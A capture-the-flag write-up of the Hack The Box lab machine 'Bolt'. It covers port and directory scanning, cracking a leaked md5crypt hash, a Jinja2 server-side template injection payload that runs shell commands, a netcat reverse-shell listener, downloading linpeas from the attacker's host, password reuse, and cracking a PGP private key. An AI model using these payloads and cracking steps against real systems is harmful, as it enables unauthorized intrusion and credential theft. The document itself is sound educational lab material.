Writeup for the medium ranked HTB box Bolt

Posted on Feb 19, 2022

box

This box was a real enumeration-challenge, most of my time on this was spent on examining webserver content, mysql-database and interesting files on the box OS. Vulnerabilities on this box is Server Side Template Injection, and a weak password on a encrypted PGP message.

Tools used for this box was nmap, dirb, searchsploit, nikto, python3, burpsuite, ffuf, hashcat, gpg2john and john. The environment I used was a kali-VM (in Parallels Desktop 17) on my MACOS-machine.

Let’s GO!

Scanning

Portscanning with NMAP

The output of this NMAP scan shows that port 22, 80 and 443 is open.

──(erra㉿kali)-[~/htb/bolt]
└─$ cat nmap.init            
# Nmap 7.91 scan initiated Sat Oct  9 12:49:54 2021 as: nmap -T4 -sV -sC -o nmap.init bolt.htb
Nmap scan report for bolt.htb (10.10.11.114)
Host is up (0.063s latency).
Not shown: 997 closed ports
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 4d:20:8a:b2:c2:8c:f5:3e:be:d2:e8:18:16:28:6e:8e (RSA)
|   256 7b:0e:c7:5f:5a:4c:7a:11:7f:dd:58:5a:17:2f:cd:ea (ECDSA)
|_  256 a7:22:4e:45:19:8e:7d:3c:bc:df:6e:1d:6c:4f:41:56 (ED25519)
80/tcp  open  http     nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title:     Starter Website -  About 
443/tcp open  ssl/http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-title: Passbolt | Open source password manager for teams
|_Requested resource was /auth/login?redirect=%2F
| ssl-cert: Subject: commonName=passbolt.bolt.htb/organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=AU
| Not valid before: 2021-02-24T19:11:23
|_Not valid after:  2022-02-24T19:11:23
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Oct  9 12:50:25 2021 -- 1 IP address (1 host up) scanned in 31.18 seconds

The scan also outputs a subdomain on port 443, passbolt.bolt.htb. Let’s add that to our /etc/hosts.

┌──(erra㉿kali)-[~]
└─$ cat /etc/hosts    
.......
......
10.10.11.114 bolt.htb passbolt.bolt.htb

And passbolt.bolt.htb gives us a password recovery site. Nothing that we could use now it seems.

passbolt.bolt.htb

Directory scanning with DIRB

As always with webservers, let’s scan for directories.

┌──(erra㉿kali)-[~/htb/bolt]
└─$ cat dirb     

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

OUTPUT_FILE: dirb
START_TIME: Thu Oct 21 19:24:21 2021
URL_BASE: http://bolt.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612

---- Scanning URL: http://bolt.htb/ ----
+ http://bolt.htb/contact (CODE:200|SIZE:26293)
+ http://bolt.htb/download (CODE:200|SIZE:18570)
+ http://bolt.htb/index (CODE:308|SIZE:239)
+ http://bolt.htb/index.html (CODE:200|SIZE:30347)
+ http://bolt.htb/login (CODE:200|SIZE:9287)
+ http://bolt.htb/logout (CODE:302|SIZE:209)
+ http://bolt.htb/pricing (CODE:200|SIZE:31731)
+ http://bolt.htb/profile (CODE:500|SIZE:290)
+ http://bolt.htb/register (CODE:200|SIZE:11038)
+ http://bolt.htb/services (CODE:200|SIZE:22443)
+ http://bolt.htb/sign-up (CODE:200|SIZE:11038)

-----------------
END_TIME: Thu Oct 21 19:27:52 2021
DOWNLOADED: 4612 - FOUND: 11

Vulnerability scanning with NIKTO

And also scan for vulnerabilities.

┌──(erra㉿kali)-[~/htb/bolt]
└─$ nikto -h bolt.htb                                            13 ⨯
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          10.10.11.114
+ Target Hostname:    bolt.htb
+ Target Port:        80
+ Start Time:         2021-10-22 19:23:18 (GMT2)
---------------------------------------------------------------------------
+ Server: nginx/1.18.0 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server may leak inodes via ETags, header found with file /static/assets/img/favicon/favicon-16x16.png, inode: 1614339783.0, size: 904, mtime: 1397822576
+ Allowed HTTP Methods: HEAD, OPTIONS, GET 
+ /admin/config.php: PHP Config file may contain database IDs and passwords.
+ /admin/cplogfile.log: DevBB 1.0 final (http://www.mybboard.com) log file is readable remotely. Upgrade to the latest version.
+ /admin/system_footer.php: myphpnuke version 1.8.8_final_7 reveals detailed system information.
+ OSVDB-3233: /admin/admin_phpinfo.php4: Mon Album from http://www.3dsrc.com version 0.6.2d allows remote admin access. This should be protected.
+ OSVDB-5034: /admin/login.php?action=insert&username=test&password=test: phpAuction may allow user admin accounts to be inserted without proper authentication. Attempt to log in with user 'test' password 'test' to verify.
+ OSVDB-4804: //admin/admin.shtml: Axis network camera may allow admin bypass by using double-slashes before URLs.
+ OSVDB-2842: //admin/aindex.htm: FlexWATCH firmware 2.2 is vulnerable to authentication bypass by prepending an extra '/'. http://packetstorm.linuxsecurity.com/0310-exploits/FlexWATCH.txt
+ OSVDB-2922: /admin/wg_user-info.ml: WebGate Web Eye exposes user names and passwords.
+ OSVDB-3093: /admin/auth.php: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093: /admin/credit_card_info.php: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093: /admin/exec.php3: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093: /admin/index.php: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093: /admin/objects.inc.php4: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093: /admin/script.php: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093: /admin/settings.inc.php+: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-3093: /admin/upload.php: This might be interesting... has been seen in web logs from an unknown scanner.
+ OSVDB-4238: /admin/adminproc.asp: Xpede administration page may be available. The /admin directory should be protected.
+ OSVDB-4239: /admin/datasource.asp: Xpede page reveals SQL account name. The /admin directory should be protected.
+ OSVDB-9624: /admin/admin.php?adminpy=1: PY-Membres 4.2 may allow administrator access.
+ /admin/account.asp: Admin login page/section found.
+ /admin/account.html: Admin login page/section found.
+ /admin/account.php: Admin login page/section found.
+ /admin/controlpanel.asp: Admin login page/section found.
+ /admin/controlpanel.html: Admin login page/section found.
+ /admin/controlpanel.php: Admin login page/section found.
+ /admin/cp.asp: Admin login page/section found.
+ /admin/cp.html: Admin login page/section found.
+ /admin/cp.php: Admin login page/section found.
+ /admin/home.asp: Admin login page/section found.
+ /admin/home.php: Admin login page/section found.
+ /admin/index.asp: Admin login page/section found.
+ /admin/index.html: Admin login page/section found.
+ /admin/login.asp: Admin login page/section found.
+ /admin/login.html: Admin login page/section found.
+ /admin/login.php: Admin login page/section found.
+ /admin/html: Tomcat Manager / Host Manager interface found (pass protected)
+ /admin/status: Tomcat Server Status interface found (pass protected)
+ 7788 requests: 0 error(s) and 42 item(s) reported on remote host
+ End Time:           2021-10-22 19:29:23 (GMT2) (365 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Enumeration

Enumeration of website and downloaded file

Bolt seems to be a company that build websites. There are a few interesting directories outputted from the DIRB-scan above. /login that we do not have creds for (yet)…

defaultsite

… and /download, where we can download a file named image.tar, let’s do it!

download

┌──(erra㉿kali)-[~/htb/bolt/download]
└─$ tar -xf image.tar

┌──(erra㉿kali)-[~/htb/bolt/download]
└─$ ls                    
187e74706bdc9cb3f44dca230ac7c9962288a5b8bd579c47a36abf64f35c2950
1be1cefeda09a601dd9baa310a3704d6309dc28f6d213867911cd2257b95677c
2265c5097f0b290a53b7556fd5d721ffad8a4921bfc2a6e378c04859185d27fa
3049862d975f250783ddb4ea0e9cb359578da4a06bf84f05a7ea69ad8d508dab
3350815d3bdf21771408f91da4551ca6f4e82edce74e9352ed75c2e8a5e68162
3d7e9c6869c056cdffaace812b4ec198267e26e03e9be25ed81fe92ad6130c6b
41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad
745959c3a65c3899f9e1a5319ee5500f199e0cadf8d487b92e2f297441f8c5cf
859e74798e6c82d5191cd0deaae8c124504052faa654d6691c21577a8fa50811.json
9a3bb655a4d35896e951f1528578693762650f76d7fb3aa791ac8eec9f14bc77
a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2
d693a85325229cdf0fecd248731c346edbc4e02b0c6321e256ffc588a3e6cb26
image.tar
manifest.json
repositories

Ok, so there are some folders, with files and more subfolders and .tar-files. I have no better plan than to start from the top and enumerate my way down.

┌──(erra㉿kali)-[~/htb/bolt/download]
└─$ cd a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2 
      
┌──(erra㉿kali)-[~/htb/bolt/download/a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2]
└─$ ls
json  layer.tar  VERSION
                                                          
┌──(erra㉿kali)-[~/htb/bolt/download/a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2]
└─$ sudo tar -xf layer.tar

┌──(erra㉿kali)-[~/htb/bolt/download/a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2]
└─$ ls
db.sqlite3  json  layer.tar  root  tmp  VERSION

┌──(erra㉿kali)-[~/htb/bolt/download/a4ea7da8de7bfbf327b56b0cb794aed9a8487d31e588b75029f6b527af2976f2]
└─$ cat db.sqlite3                                                     
������k�9tableUserUserCREATE TABLE "User" (
        id INTEGER NOT NULL, 
        username VARCHAR, 
        email VARCHAR, 
        password BLOB, 
        email_confirmed BOOLEAN, 
        profile_update VARCHAR(80), 
        PRIMARY KEY (id), 
        UNIQUE (username), 
        UNIQUE (email)
��<)[email protected]$1$sm1RceCh$rSd3PygnS/6jlFDfF2J5q._User_1User
��      admin
��)     [email protected]

After a while we got a hash. Let’s crack it!

┌──(erra㉿kali)-[~/htb/bolt]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash                                          255 ⨯
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 512/512 AVX512BW 16x3])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
deadbeefdeadbeef         (?)
1g 0:00:00:00 DONE (2021-10-23 20:43) 1.960g/s 338823p/s 338823c/s 338823C/s doida..curtis13
Use the "--show" option to display all of the cracked passwords reliably
Session completed

We can now login to http://bolt.htb/login/ with the creds.

adminlogin

There is a function named “Direct chat”, where we can see a conversation between Alexander Pierce and Sarah Bullock, and they are talking about a guy named eddie. So, three possible usernames found. Otherwise, there are nothing of interest (at least that I found).

Scanning for subdomains

So now let’s scan for subdomains.

┌──(erra㉿kali)-[~/htb/bolt]
└─$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -u http://FUZZ.bolt.htb/

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v1.3.1 Kali Exclusive <3
________________________________________________

 :: Method           : GET
 :: URL              : http://FUZZ.bolt.htb/
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200,204,301,302,307,401,403,405
________________________________________________

mail                    [Status: 200, Size: 4943, Words: 345, Lines: 99]
demo                    [Status: 302, Size: 219, Words: 22, Lines: 4]

This scan gives us two domains named demo.bolt.htb and mail.bolt.htb. Let’s add them to our /etc/hosts so it looks like this:

┌──(erra㉿kali)-[~]
└─$ cat /etc/hosts    
.......
......
10.10.11.114 bolt.htb passbolt.bolt.htb mail.bolt.htb demo.bolt.htb

Enumeration subdomains

Subdomain mail has a login-form but the creds do not work.

mail

And the same for subdomain mail, this site also has a “Create new account”-function, let’s try that.

demo

Finding invite code

At first, I thought, since I found the creds for Admin in image.tar, that step was done but there are more stuff in these directories we need. Since we needed a invite code for registration we can search for that from the downloaded image.tar.

┌──(root💀kali)-[/home/erra/htb/bolt/download]
└─# grep -R "invite"                                                                        
grep: 41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad/layer.tar: binary file matches
41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad/app/base/forms.py:    invite_code = TextField('Invite Code', id='invite_code'    , validators=[DataRequired()])
41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad/app/base/templates/accounts/register.html:            {{ form.invite_code(placeholder="Invite Code", class="form-control") }}
41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad/app/base/routes.py:        code          = request.form['invite_code']

┌──(root💀kali)-[/home/erra/htb/bolt/download]
└─# cat 41093412e0da959c80875bb0db640c1302d5bcdffec759a3a5670950272789ad/app/base/routes.py        130 ⨯
---------------------------------
@blueprint.route('/register', methods=['GET', 'POST'])
def register():
    login_form = LoginForm(request.form)
    create_account_form = CreateAccountForm(request.form)
    if 'register' in request.form:

        username  = request.form['username']
        email     = request.form['email'   ]
        code      = request.form['invite_code']
        if code != 'dead-beaf-dead-beaf':
            return render_template('code-500.html')
        data = User.query.filter_by(email=email).first()
        if data is None and code == 'dead-beaf-dead-beaf':
----------------------------------

So now we have the invite code, and we can create an account over at http://demo.bolt.htb/register. After that we login and see our new user profile-page. Time for enumeration again…

demologin

Also the credentials work on http://mail.bolt.htb/.

![mailloggedin]/img/bolt_(mailloggedin.png)

Server-Side Template Injection

So the interesting thing I found here was on the profile/settings-page:

settings

When pressing submit, there is a mail popping up in the mail-client on http://mail.bolt.htb/. And after confirming the profile change, there is a “confirmed” mail returning with the value “test” that I entered in the Name-field.

initmail

Since the application is built on Flask, I started DDG-ing exploit for that and found a guide here. Instead of writing “test” in the Name-field, type “{{ 5 * 5 }}” and it return 25 in the confirmed email. That means the system is vulnerable to SSTI (Server-Side Template Injection).

Initial shell

The steps from the guide above where a good introduction but all the commands didn’t work so head over to PayloadsAllTheThings, there is a section called “Jinja2 - Remote Code Execution”. So just replace “{{ 5 * 5 }}” with “{{{{ self._TemplateReference__context.cycler.init.globals.os.popen(‘id’).read() }}}}” and it returns the user www-data.

So now let’s try to get a reverse shell, set up a listener on our local machine and then type the payload like this:

payload

┌──(erra㉿kali)-[~/htb/bolt]
└─$ nc -nvlp 1337                                                                                                1 ⨯
listening on [any] 1337 ...
connect to [10.10.14.115] from (UNKNOWN) [10.10.11.114] 54730
bash: cannot set terminal process group (921): Inappropriate ioctl for device
bash: no job control in this shell
www-data@bolt:~/demo$ ls
ls
app.py
config.py
__pycache__
static
templates
wsgi.py
www-data@bolt:~/demo$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@bolt:~/demo$ 

This step was not the easiest, the mail had a counter, and on the 51st (!) time I got it right… First, I just tried to cat ssh-keys but I did not have the correct permissions for that, then I tried a bunch of different reverse shells and then finally it worked!

The shell isn’t the best so let’s stabiles it, this time with python3.

www-data@bolt:/etc/passbolt$ python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@bolt:/etc/passbolt$

Privilege Escalation enumeration

Now we have a shell so let’s get linpeas to the box. First, we start a http server on our local machine:

┌──(erra㉿kali)-[~/tools]
└─$ ls
dirsearch      nc32.exe     smbmap.py
enum4linux.pl  nc64.exe     update.sh
ffuf           payload.elf  winPEASany.exe
impacket       plink32.exe  winPEAS.bat
LinEnum.sh     plink64.exe  winPEASx64.exe
linpeas.sh     pspy32       winPEASx86.exe
mimikatz       pspy64

┌──(erra㉿kali)-[~/tools]
└─$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (<http://0.0.0.0:8000/>) ...

Then we can use curl to download the file on the box. Chmod it and run it, also save the output to a file.

www-data@bolt:~/demo$ curl http://10.10.14.169:8000/linpeas.sh -o linpeas.sh
curl http://10.10.14.169:8000/linpeas.sh -o linpeas.sh
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
100  317k  100  317k    0     0   668k      0 --:--:-- --:--:-- --:--:--  666k
www-data@bolt:~/demo$ chmod +x linpeas.sh
chmod +x linpeas.sh
www-data@bolt:~/demo$ ./linpeas.sh | tee out.txt
./linpeas.sh | tee out.txt
....
....

The output shows a lot of output with '/etc/passbolt/'* so I started enumerate the files in that folder and found the passbolt.php, and in it there were a password for a mysql database (port 3306), perfect!

www-data@bolt:~/demo$ cat /etc/passbolt/passbolt.php
cat /etc/passbolt/passbolt.php
<?php
/**
------------------
return [
    'App' => [
        // A base URL to use for absolute links.
        // The url where the passbolt instance will be reachable to your end users.
        // This information is need to render images in emails for example
        'fullBaseUrl' => 'https://passbolt.bolt.htb',
    ],

    // Database configuration.
    'Datasources' => [
        'default' => [
            'host' => 'localhost',
            'port' => '3306',
            'username' => 'passbolt',
            'password' => 'deadbeefdeadbeef',
            'database' => 'passboltdb',
        ],
    ],
-----------------

MySQL database enumeration

Enumerating the mysql database ‘passbolt’, and all I could really find was a encrypted message in ‘table’ ‘secrets’ (remember this for later (root)).

www-data@bolt:~/demo$ mysql -u passbolt -p
Enter password: 
Welcome to the MySQL monitor.  Commands end with ; or \g.
Your MySQL connection id is 10513
Server version: 8.0.26-0ubuntu0.20.04.2 (Ubuntu)

Copyright (c) 2000, 2021, Oracle and/or its affiliates.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| passboltdb         |
+--------------------+
2 rows in set (0.00 sec)

mysql> use passboltdb;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> show tables;
+-----------------------+
| Tables_in_passboltdb  |
+-----------------------+
| account_settings      |
| action_logs           |
| actions               |
| authentication_tokens |
| avatars               |
| comments              |
| email_queue           |
| entities_history      |
| favorites             |
| gpgkeys               |
| groups                |
| groups_users          |
| organization_settings |
| permissions           |
| permissions_history   |
| phinxlog              |
| profiles              |
| resource_types        |
| resources             |
| roles                 |
| secret_accesses       |
| secrets               |
| secrets_history       |
| user_agents           |
| users                 |
+-----------------------+

mysql> select * from secrets;
.................
| 643a8b12-c42c-4507-8646-2f8712af88f8 | 4e184ee6-e436-47fb-91c9-dccb57f250bc | cd0270db-c83f-4f44-b7ac-76609b397746 | -----BEGIN PGP MESSAGE-----
Version: OpenPGP.js v4.10.9
Comment: https://openpgpjs.org

wcBMA/ZcqHmj13/kAQgAkS/2GvYLxglAIQpzFCydAPOj6QwdVV5BR17W5psc
g/ajGlQbkE6wgmpoV7HuyABUjgrNYwZGN7ak2Pkb+/3LZgtpV/PJCAD030kY
pCLSEEzPBiIGQ9VauHpATf8YZnwK1JwO/BQnpJUJV71YOon6PNV71T2zFr3H
oAFbR/wPyF6Lpkwy56u3A2A6lbDb3sRl/SVIj6xtXn+fICeHjvYEm2IrE4Px
l+DjN5Nf4aqxEheWzmJwcyYqTsZLMtw+rnBlLYOaGRaa8nWmcUlMrLYD218R
zyL8zZw0AEo6aOToteDPchiIMqjuExsqjG71CO1ohIIlnlK602+x7/8b7nQp
edLA7wF8tR9g8Tpy+ToQOozGKBy/auqOHO66vA1EKJkYSZzMXxnp45XA38+u
l0/OwtBNuNHreOIH090dHXx69IsyrYXt9dAbFhvbWr6eP/MIgh5I0RkYwGCt
oPeQehKMPkCzyQl6Ren4iKS+F+L207kwqZ+jP8uEn3nauCmm64pcvy/RZJp7
FUlT7Sc0hmZRIRQJ2U9vK2V63Yre0hfAj0f8F50cRR+v+BMLFNJVQ6Ck3Nov
8fG5otsEteRjkc58itOGQ38EsnH3sJ3WuDw8ifeR/+K72r39WiBEiE2WHVey
5nOF6WEnUOz0j0CKoFzQgri9YyK6CZ3519x3amBTgITmKPfgRsMy2OWU/7tY
NdLxO3vh2Eht7tqqpzJwW0CkniTLcfrzP++0cHgAKF2tkTQtLO6QOdpzIH5a
Iebmi/MVUAw3a9J+qeVvjdtvb2fKCSgEYY4ny992ov5nTKSH9Hi1ny2vrBhs
nO9/aqEQ+2tE60QFsa2dbAAn7QKk8VE2B05jBGSLa0H7xQxshwSQYnHaJCE6
TQtOIti4o2sKEAFQnf7RDgpWeugbn/vphihSA984
=P38i
-----END PGP MESSAGE-----
................

Claiming the user flag

Here I was exhausted after enumerating the mysql database passboltdb and was out of ideas, so then I just tried to login with the same password as for the mysql-user, with one of the OS-users, and it ACTUALLY WORKED… both locally and with SSH, bye 1 hour of my life :).

www-data@bolt:~/demo$ ls /home
ls /home
clark  eddie

www-data@bolt:~/demo$ su eddie
su eddie
Password: deadbeefdeadbeef

eddie@bolt:/var/www/demo$ whoami 
whoami
eddie
eddie@bolt:/var/www/demo$ cd /home/eddie
cd /home/eddie
eddie@bolt:~$ cat user.*
cat user.*
deadbeefdeadbeef

More enumeration with new user

eddie cannot run anything as sudo.

eddie@bolt:~$ sudo -l
[sudo] password for eddie: 
Sorry, user eddie may not run sudo on bolt.

So, let’s see all the files eddie can read.

eddie@bolt:~$ find / -user "eddie" 2>/dev/null | tee perm.txt
...
/sys/fs/cgroup/unified/user.slice/user-1000.slice/[email protected]/gvfs-afc-volume-monitor.service/cgroup.max.depth
/tmp/tracker-extract-files.1000
/dev/pts/3
/dev/pts/2
/var/mail/eddie

At the end of the output, it writes ‘/var/mail/eddie’, let’s check that.

eddie@bolt:~$ cat /var/mail/eddie 
From [email protected]  Thu Feb 25 14:20:19 2021
Return-Path: <[email protected]>
X-Original-To: [email protected]
Delivered-To: [email protected]
Received: by bolt.htb (Postfix, from userid 1001)
        id DFF264CD; Thu, 25 Feb 2021 14:20:19 -0700 (MST)
Subject: Important!
To: <[email protected]>
X-Mailer: mail (GNU Mailutils 3.7)
Message-Id: <[email protected]>
Date: Thu, 25 Feb 2021 14:20:19 -0700 (MST)
From: Clark Griswold <[email protected]>

Hey Eddie,

The password management server is up and running.  Go ahead and download the extension to your browser and get logged in.  Be sure to back up your private key because I CANNOT recover it.  Your private key is the only way to recover your account.
Once you're set up you can start importing your passwords.  Please be sure to keep good security in mind - there's a few things I read about in a security whitepaper that are a little concerning...

-Clark

Eddie got a mail from Clark, saying he need to download an extension to his browser, and also he need his private key to recover the password. Let’s run a new linpeas.sh-scan to see if it finds anything related to “private keys”.

.............
[+] Searching ssl/ssh files
ChallengeResponseAuthentication no                                            
UsePAM yes
Possible private SSH keys were found!
D/home/eddie/.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/3.0.5_0/index.min.js                                                  
/home/eddie/.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/3.0.5_0/vendors/openpgp.js                                            
/home/eddie/.config/google-chrome/Default/Local Extension Settings/didegimhafipceonhjepacocaffmoppf/000003.log                                              
 --> /etc/hosts.allow file found, read the rules:
/etc/hosts.allow
............

The output shows us to some interesting directories. The mail in /var/mail/eddie there were also a hint about some extensions that needed to be downloaded. The files above seem exactly what we need!

In the file '/home/eddie/.config/google-chrome/Default/Local Extension Settings/didegimhafipceonhjepacocaffmoppf/000003.log' we can find ‘PGP PRIVATE KEY’ and ‘PGP PUBLIC KEY’. Save them both locally on your machine.

Take away the '\r\n' and replace with a line break so it looks like the snippet below, a tip is to do it in a text editor like Sublime Text, just mark the '\r\n', press ‘CTRL + F’, select ‘Find all’ and press ‘return’.

-----BEGIN PGP PUBLIC KEY BLOCK-----

Version: OpenPGP.js v4.10.9
Comment: https://openpgpjs.org

xsDNBGA2peUBDADHDueSrCzcZBMgt9GzuI4x57F0Pw922++n/vQ5rQs0A3Cm
of6BH+H3sJkXIVlvLF4pygGyYndMMQT3NxZ84q32dPp2DKDipD8gA4ep9RAT
IC4seXLUSTgRlxjB//NZNrAv35cHjb8f2hutHGYdigUUjB7SGzkjHtd7Ixbk
a/un/1IAk4Ifw1+fgBoGSQEaucgzSxy8XimUjv9MVNX01P/C9eU/149QW5r
........
......

Then to extract the password from the private key we first convert the key to a hash-format.

┌──(erra㉿kali)-[~/htb/bolt]
└─$ sudo gpg2john abc.priv > gpghash
[sudo] password for erra: 

File abc
Eddie Johnson:$gpg$*1*668*2048*2b518595f971db147efe739e2716523786988fb0ee243e5981659a314dfd0779dbba8e14e6649ba4e00cc515b9b4055a9783be133817763e161b9a8d2f2741aba80bceef6024465cba02af3bccd372297a90e078aa95579afbd60b6171cd82fd1b32a9dd016175c088e7bef9b883041eaffe933383434752686688f9d235f1d26c006a698dd6cc132d8acb94c4eceebf010845d69cd9e114873538712f2cd50c8b9ca3bcb9bbc3d83e32564f99031776ac986195e643880483ac80d3f7f1b9143563418ddea7bb71d114c4f24e41134dcdac4662e934d955aeccae92038dbed32f300ac5abed65960e26486c5da59f0d17b71ad9a8fe7a5e6bb77b8c31b68b56e7f4025f01d534be45ab36a7c0818febe23fa577ca346023feefa2bfef0899dd860e05a54d8b3e8bd430f40791a52a20067fde1861d977adf222725658a4661927d65b877cb8ac977601990cfbdb27413f5acc25ff1f691556bc8e5264cffaebbea7e7b9d73de6c719e0a7b004d331eaada86e812e3db60904eaf73a1b79c6e68e74beb6b71f6d644afbf591426418976d68c4e580cbc60b6fdd113f239ae2acd1e1dc51cb74b96b3c2f082bc0214886e1c3cebb3611311d9112d61194df22fb3ceb5783ee7d4a61b544886b389f638fc85d5139f64997014ec38ac59e65b842d92afb50184ccc3549a57dcdb3fc8720cc394912aed931007b53da1c635d302e840da2e6342803831891ab1ccc1669f3cc3240b8d31eded96696d7ad1525c4d277a4d3123abecafdbdde207714539c2e546cd45c4452051394e5d00e711fa5353f817be4fa6827aa0f1428dfb93a918e93975fb4baf3297aa3b7fec33470cf2741237a629b869a762684602057f3e3e6df9c97631caa7589dc4b26653162dfb2f2cf508cbe375496ba735830c2c00f151cdd50c522afe33dbe4265d2*3*254*8*9*16*b81f0847e01fb836c8cc7c8a2af31f19*16777216*34af9ef3956d5ad8:::Eddie Johnson <[email protected]>::abc

Then let’s crack the hash with john.

┌──(erra㉿kali)-[~/htb/bolt]
└─$ john gpghash --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
Cost 1 (s2k-count) is 16777216 for all loaded hashes
Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 8 for all loaded hashes
Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 9 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
deadbeefdeadbeef   (Eddie Johnson)
1g 0:00:16:35 DONE (2021-10-26 18:35) 0.001004g/s 43.02p/s 43.02c/s 43.02C/s merrychristmas..menudo
Use the "--show" option to display all of the cracked passwords reliably
Session completed

So now we have a ‘PGP PUBLIC KEY’, ‘PGP PRIVATE KEY’ and a ‘password’. The mail from Clark to Eddie also mentioned a browser extensions (Go ahead and download the extension to your browser and get logged in…) so I found an extension called “Local PGP - Browser Encryption and Decryption”. There we can add our data:

extension

Now we just need to use the “decrypt”-function in the extension, paste in the encrypted message from the mysql database mentioned above and boom we got the root password!

eddie@bolt:~$ su root
Password: 
root@bolt:/home/eddie# cd /root
root@bolt:~# ls
root.txt  snap
root@bolt:~# cat root.txt 
deadbeefdeadbeef

Summary

This box was a real challenge, and I spent most of the time on this at enumerating, since there were so many different sites, subsites, subdomains, mysql-db, OpenPGP-message etc. It took a long time to finish the box, but it was worth it. Now I know more about how to crack OpenPGP-messages, SSTI-attacks and, I think my enumeration skills got a little bit better after this.

Hope you all found this writeup useful!

Happy hacking!

/Eric (cyberrauken)

Eric

HTB HTB